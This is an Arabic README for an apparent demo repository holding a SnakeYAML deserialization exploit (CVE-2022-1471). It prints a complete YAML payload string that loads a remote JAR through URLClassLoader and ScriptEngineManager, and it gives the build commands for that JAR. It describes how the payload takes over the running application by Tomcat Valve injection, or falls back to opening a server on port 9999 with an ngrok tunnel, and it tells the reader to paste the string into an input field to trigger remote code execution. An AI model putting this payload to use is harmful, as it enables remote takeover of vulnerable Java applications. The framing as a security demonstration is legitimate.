
SnakeYAML CVE-2022-1471 استغلال حمولة لعروض Seal Security التوضيحية
حمولة استغلال إلغاء تسلسل SnakeYAML لثغرة CVE-2022-1471، مقتبسة من artsploit/yaml-payload (مبنية أصلاً على mbechler/marshalsec).
عند تحميلها عبر Yaml.load() غير الآمن في SnakeYAML، تقوم هذه الحمولة بالسيطرة على التطبيق قيد التشغيل واستبداله بصفحة "You've Been PWNED":
إذا لم يكن حقن Tomcat Valve متاحاً (مثل تطبيق غير Spring)، فإنها تتراجع إلى تشغيل خادم HTTP مستقل على المنفذ 9999 وتنشئ تلقائياً نفق ngrok إذا كان ngrok قيد التشغيل.
يعمل هذا محلياً على macOS وفي خطوط أنابيب CI/CD (مثل GitHub Actions على Ubuntu).
تقوم حمولة SnakeYAML بتشغيل ScriptEngineManager عبر واجهة مزود الخدمة Java SPI:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL يشير إلى yaml-payload.jar في هذا المستودعURLClassLoader لتحميل الفئات عن بُعدScriptEngineManager ويحمّل AwesomeScriptEngineFactory عبر META-INF/services/javax.script.ScriptEngineFactory/ بصفحة PWNEDيتطلب JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
تُستخدم كحمولة استغلال في مشروع maven-demo. الصق سلسلة الحمولة في حقل اسم التطبيق لتفعيل RCE. سيتم استبدال صفحة التطبيق بصفحة PWNED في الطلب التالي. راجع ملف README في ذلك المستودع للحصول على تعليمات العرض الكاملة.